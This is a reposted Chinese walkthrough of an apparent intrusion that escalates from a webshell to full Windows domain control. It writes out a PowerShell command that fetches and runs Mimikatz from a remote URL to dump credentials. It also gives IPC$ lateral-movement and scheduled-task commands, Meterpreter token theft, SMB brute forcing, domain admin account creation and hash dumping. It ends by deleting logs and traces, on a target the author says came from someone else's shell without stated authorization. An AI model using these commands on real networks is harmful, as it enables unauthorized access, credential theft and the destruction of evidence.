转:一次完整的从webshell到域控的探索之路

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。

于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。

前言

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。

于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。

cmd1

今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。

相关知识点总结如下:

  • 免杀 payload 的生成,请使用 Veil
  • msf 在 meterpreter 下的提权尝试
  • msf 在 meterpreter 下的 bypassuac 尝试
  • 内网渗透测试过程中的信息关联
  • meterpreter 的路由添加以及相关扫描
  • Powershell 在 meterpreter 下面的使用
  • Meterpreter 的 post 模块使用
  • Msf 的 custom 自己生成的 payload 的使用
  • 进程注入窃取令牌

其实重点不在于知识的多少,大家只需关注比较重要的连接点。

分享为了方便大家以后在安全脉搏一起交流,一起学习,一起进步(一起Zhuangbility)。

首先 shell 是别人给我的,也不是这里介绍的重点,所以在此忽略。

渗透测试的环境详细如下:

  • A 堡垒机(webshell 所在机器):windows server 2012
  • B 堡垒机:windows 2008(powershell 扫描机器)
  • C 堡垒机:有域管理进程的机器 windows server 2012
  • D 堡垒机若干

第一步 反弹 meterpreter

其实每一次的渗透测试开始并不像我们想象的那么顺利,而这一次的开始也同样意味着

我们一次不同的旅程,整个的渗透测试过程我花了差不多四个小时的时间,大部分的时间都是花在解决这些问题之上。

1 webshell 无法上传 exe

本来想着直接上传 meterpreter 的 payload 的直接反弹的结果发现上传不了,可以选择 powershell 的 meterpreter 的模块来实现

2 meterpreter 的 reverse_tcp 模块反弹不成功

Msf 的 payload 的反弹,刚开始我使用的模块是 meterpreter 的 reverse_tcp 的模块来尝试,发现可以反弹,但是一直无法建立成功 meterpreter

说明一定有监控发现了我们的行为。于是在此基础上尝试 meterpreter 的 reverse_https 模块,顺利反弹成功

详细遇到的问题和解决过程的图如下所示:

domain1

图 1-1 使用 payload

domain2

domain3

图 1-2 设置 https 的 payload

domain4

图 1-3 反弹成功

第二步 尝试提权 windows server 2012

当我们首先拿到一个 (权限不足的)Webshell 的时候想到的第一件事是什么?那肯定是提权,我也想大家想的一样,首先开始了我们的提权之旅。

首先使用 msf 的 search 模块 ms15,会得到一些漏洞利用的模块。我尝试了 ms15_05 以及 ms15_078 全部以失败结束。

详细的图如下所示:

domain5

图 2-1 提权尝试失败

第三步 尝试当前账号 Bypassuac 测试

刚开始一直忘说了一件事,那就是 webshell 本身的权限,我们目前 webshell是 jsp 的,具有当前的一个普通域用户的权限。

我于是也想到了是不是可以通过bypassuac 来完成提权呢,但是测试的结果可想而知,又一次失败了。

目前详细的情况如下:

domain6

图 3-1 当前的用户权限

domain7

图 3-2 bypassuac 尝试

第四步 相关信息收集

当我们此时提权不成功的情况下,我们还是可以利用当前的用户进行域渗透测试的。那

么目前我们具有以下几种方式进行渗透测试域:

1 收集域里面的相关信息,包括所有的用户,所有的电脑,以及相关关键的组的信息。

常使用到的命令如下:

net user /domain

Net group “domain computers” /domain

net group “domain admins”  /domain #查看域管理员

net localgroup administrators

net view /domain

2 收集 sqlserver 的相关信息,如果当前堡垒机使用了 sql server 的话,恰巧用户是当前的域用户的话,我们在此可以使用 sqlcmd 的信息收集,以及扫描攻击。

在这里只是提到,因为篇幅问题,暂时不做深一层讨论

根据我的渗透测试经验,我在此只是做了最简单的信息收集,首先使用 sqlcmd 的获取sql server 的所有机器列表、当前堡垒机的机器名、当前堡垒机的 IP、

还有 net view 来做简单的信息收集。

详细的图如下所示:

domain8

图 4-1 SQLCMD 获取信息

domain9

图 4-2 当前的机器名

domain10

图 4-3 net view 相关的机器名

第五步 信息分析,成功获取一台服务器权限

当我们信息收集完成以后,我们要开始考虑接下来要做什么。

首先我们来看一下我们目前拥有什么:

  • A 一个域用户的进程权限,当前堡垒机是 windows server 2012,提权失败。(假如能提权成功,我们依然是无法获取到用户的明文密码)
  • B 当前的堡垒机的用户名
  • C 当前 sqlcmd 获取到的同样安装了 sql server 机器的名称

目前我们的思路有:

  • 1 使用 meterpreter的目前权限来添加路由进行弱口令扫描
  • 2 使用 powershell 对内网进行扫描(本次渗透测试使用了,但是在这里暂时没有使用),具体来说时间比较慢一点,当然此时此刻powershell 绝对算是一个内网渗透测试又一神器
  • 3 使用当前的用户权限架设 socks4a,然后利用第一步我们获取到的信息 socks 进行内网扫描
  • 4 使用当前用户的权限,对域里面的电脑进行 IPC,或者 DIR 溢出(也就是 dir 其他电脑的 c 盘,如果成功表示有权限)批量测试

通过上面的分析,此时我选择了最偷懒的一种方法,进行当前堡垒机的机器名和 net view 的机器名进行对比,找出来非常相似的几个机器名,手动测试。

当前速度也是非常快的,在尝试了两次的时候就成功了。

详细过程如下:

Net use \\ip\c$

Tasklist /v /s ip

domain11

图 5-1 net use 测试成功

domain12

图 5-2 tasklist 执行成功

第六步 域信息收集

首先在第四步已经说了域相关的信息收集,这里就不做过多的介绍了,这次是在第五步的基础上做的相关收集,相关知识点如下:

1 域信息收集,其中用到的命令如下:

Net group “domain admins” /domain

Net group /domain

Net group “domain controllers” /domain

Net group “enterprise admins” /domain

2 ipc$入侵,大家相关的话自行百度经典 IPC$入侵

Net use \\ip\c$

Copy bat.bat \\ip\c$ (其中 bat.bat 是 powershell 的 meterpreter)

Net time \\ip

At \\ip time c:\bat.bat

3 上传抓明文工具 64.exe(mimikatz 神器),大家都懂的

Upload /home/64.exe c:\

Shell

Cd \

64.Exe

4 查看抓取到的用户的详细信息

Net use xxx /domain

5 使用 meterpreter 的 ps,查看相关用户的进程列表

6 尝试使用域令牌假冒

Use incongnito

list_token -u

Impersonate_token xxxxxx

我在这次渗透测试过程中尝试上面讲到的所有知识点,详细的截图如下:

domain13

图 6-1 查看域管

domain14

图 6-2 查看域组

domain16

图 6-3 查看域控制器

domain15

图 6-4 查看企业管理组

domain17

图 6-5 共享 copy 数据

domain18

图 6-6 经典 ipc$

domain19

图 6-7 反弹 meterpreter 成功

domain20

图 6-8 上传文件

domain21

图 6-9 查看服务器信息

domain22

图 6-10 抓取密码

domain23

图 6-11 查看域用户权限

domain24

图 6-12 查看域用户权限

domain25

图 6-13 窃取令牌尝试

domain26

图 6-14 查看主域控的 IP

第七步 SMB 快速扩张控制权限

此时此刻,作为读者你的在想什么呢?是不是当看到第六步的时候就可以去睡觉了,毕竟已经凌晨五点了。

但是此时此刻作为一个专业求师傅,求妹子,求神器的人可不这么想。

我们要做最后的冲刺,因为黎明的钟声已经敲响。

先来看一下我们当前拥有什么权限:

有两台堡垒机,两个用户权限

目前我们要做的事情很简单,就是快速的在内网扩大控制权限,那么如何去做,其实很简单的,就是快速的扫描以完成我们的梦想。

具体如下:

  • 1 使用当前获取到的两个用户权限,快速的进行扫描。(扫描哪里了,看到第六步最后一张图 6-14 了没,就是域控的 IP 段)
  • 2 smb_login 扫描
  • 3 端口转发进内网

目前思路我们已经有了,神器 msf 终于迎来了自己梦想恶天堂。让我们愉快的玩耍吧。

详细知识点如下:

  • 1 msf 添加路由 route add ip mask sessionid
  • 2 smb_login 模块或者使用 psexec_scanner(这个模块需要你自己搜索一下)
  • 3 meterpreter 端口转发
  • 4 msf 的 socks4a 模块(这次渗透测试没使用到,但是并不代表它不美好)

domain27

图 7-1 设置 smb_login 的参数

domain28

图 7-2 爆破成功的机器

domain29

图 7-3 查看已经获取到的权限

domain30

图 7-4 端口转发和目前拥有的权限

第八步 Powershell 获取域控管理员在线的机器

内网渗透测试不得不说到两大神器:msf 和 powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。

首先来讲讲 powershell 的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,

一般使用到的模块有下面三个:

  • 1 Empire 据说是神器,也确实是神器,我没使用过,暂时不多说
  • 2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说
  • 3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮

来说说 powershell 的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,

主要有三种方式来调用:

1 当然是下载到本地执行,详细使用方法如后面连接:powershell “IEX (New-ObjectNet.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

2 第二种方式是把 powershell 文件上传到堡垒机本地执行, powershell.exe -exec bypass -Command “& {Import-Module .\powerview.ps1; Invoke-UserHunter}”

3 上传到对方本地,然后 Import-Module 导入,使用PowerView 的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。

如果你能看到这里开始你的 powershell 之旅,内网将开始变得简单。

domain31

图 8-1 powerview 的相关方法

废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。

Powerview 中的 Invoke-UserHunter 是获取当前域管理员在线登录的机器。

这次的旅程我们就用它来完成进一步的信息获取。详细如下图:

domain32

图 8-1 powershell 执行命令

domain33

图 8-2 powerview 的效果展示

第九步 域控管理员权限的获取****(windows2012**** 权限****)****

在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。

神器过后还是神器,又见它 windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。

目前来看看我们遇到的问题,通过 powershell 成功获取到相关的域控管理员在线的一台机器 windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。

思路如下:

  • 1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)
  • 2 通过 PowerUp 的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限
  • 3 msf 的令牌窃取功能(这个可以很容易实现)

知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:

1 同样使用 ipc 经典入侵手法,反弹 meterpreter,

Getsysttem 权限

Ps 查看域管理所在的进程

Migrate pid 注入进程

2 继续经典的 IPC$到域控

Meterpreter 下面 shell

Net use \\域控 ip\c$

Net time \\域控 ip

Copy bat.bat \\域控 ip\c$

At \\域控 ip time c:\bat.bat(意料之外的错误,提示 schtasks.exe,不熟){安全脉搏小编注:08及以上at命令就废弃啦,都用schtasks定时计划任务}

3 通往成功的路不只有一条,添加域管账户

Net user demo demo /ad /domain

Net group “domain admins” demo /ad /domain

到了此刻,我们已经拥有域管权限了。

详细的截图如下:

domain34

图 9-1 注入域管进程,连接域控

domain35

图 9-2 添加域管理账号

domain36

图 9-3 查看域管理是否成功

第十步 域控我来了****(msf**** ****psexec**** 反弹 ****shell)****

一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。

先讲思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大家也大家也都知道的:

  • 1 端口转发或者 socks 登录域控远程桌面
  • 2 登录对方内网的一台电脑使用 psexec 来反弹 shell
  • 3 使用 msf 的 psexec 反弹 meterpreter

反弹需要注意要用到的知识,我们这里采用的是 psesexc 来反弹 meterpreter,其中涉及到的知识如下:

  • 1 msf 中 psexec 模块的使用
  • 2 custom 模块的使用,配合 meterpreter,在 payload 不免杀的情况下如何使用自己 Veil生成的 payload

详细的使用过程如下图:

domain37

图 10-1 psexec 执行测试

domain38

图 10-2 psexec 默认反弹不成功

domain39

图 10-3 meterpreter 的 https 模块反弹成功

domain40

图 10-4 域控的系统信息

第十一步 Meterpreter 获取所有用户的 hash

有了域的权限之后,如果我们还想进行深层次的控制,那么 dumphash 是必不可少的。

首先来看看我们需要的知识:

  • 1 msf 有两个模块可以使用,一个是 hashdump,此模块只能导出本地的 hash,大家测试就可以知道了,另外一个是 smart_hashdump,此模块可以用来导出域用户的 hash.
  • powershell 有可以直接导出的模块,大家自行尝试一下
  • 3 wce,mimikatz 等神器的使用

在这里我采用的是 msf 的 smart_hashdump 的模块。在此需要注意的是要想使使用此模块导出 hash,必须要使用 system 的权限才行。

详细的过程如下图:

domain41

图 11-1 smart_hashdump 模块的使用

第十二步 曲折的探索之路

这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了

一个从 webshell 到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。

domain42

图 12-1 session 控制图

根据上面的图知道,我现在控制的 Session 一共有 5 个,其中有四个是必须要获取的,分别为 session1,session2 session4,session5。

其中 session1 为 webshell 反弹所获得,第二个session2 是信息分析获取到的,session4 为获取域管理员所获取,session5 为域。

其中 session3就是我所走过的弯路,浪费了时间。

之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。

第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见****(****清理****)****

作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。

涉及到相关的知识点:

  • 1 删除之前添加的域管理账号
  • 2 删除所有的使用过程中的工具
  • 3 删除自己所有的操作记录
  • 4 关闭所有的 meterpreter

在此过程中我们一共上传了两个文件,一个 bar.bat,一个 64 位的 mimikatz 抓密码工具,

直接删除即可。

domain43

图 13-1 删除用户

domain44

图 13-2 关闭所有的 session

总结

总结说点什么好呢。还是先喊口号吧——“求妹子,求师傅,求神器”。

感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,

感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。

作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;

作为一名程序员,我们就是想简单的 coding。人生如此美好,大家何不联手,一起分享美好。

目录

域渗透测试教程(windows server 2012)……………………………………………………………………………….. 1

前言……………………………………………………………………………………………………………………………  2

第一步 反弹 meterpreter……………………………………………………………………………………………. 2

第二步 尝试提权 windows server 2012………………………………………………………………………..  4

第三步 尝试当前账号 Bypassuac 测试………………………………………………………………………… 5

第四步 相关信息收集………………………………………………………………………………………………… 6

第五步 信息分析,成功获取一台服务器权限…………………………………………………………….  8

第六步 域信息收集………………………………………………………………………………………………….. 10

第七步 SMB 快速扩张控制权限………………………………………………………………………………..  16

第八步 Powershell 获取域控管理员在线的机器…………………………………………………………..  18

第九步 域控管理员权限的获取(windows2012 权限)………………………………………………….  20

第十步 域控我来了(msf psexec 反弹 shell)………………………………………………………………… 22

第十一步 Meterpreter 获取所有用户的 hash…………………………………………………………….. 24

第十二步 曲折的探索之路……………………………………………………………………………………….. 25

第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)……………………………. 26

总结………………………………………………………………………………………………………………………….  27

【作者:安全脉搏成员cimoom  个人博客:maozi.lv  安全脉搏 分享技术 悦享品质 】

See Also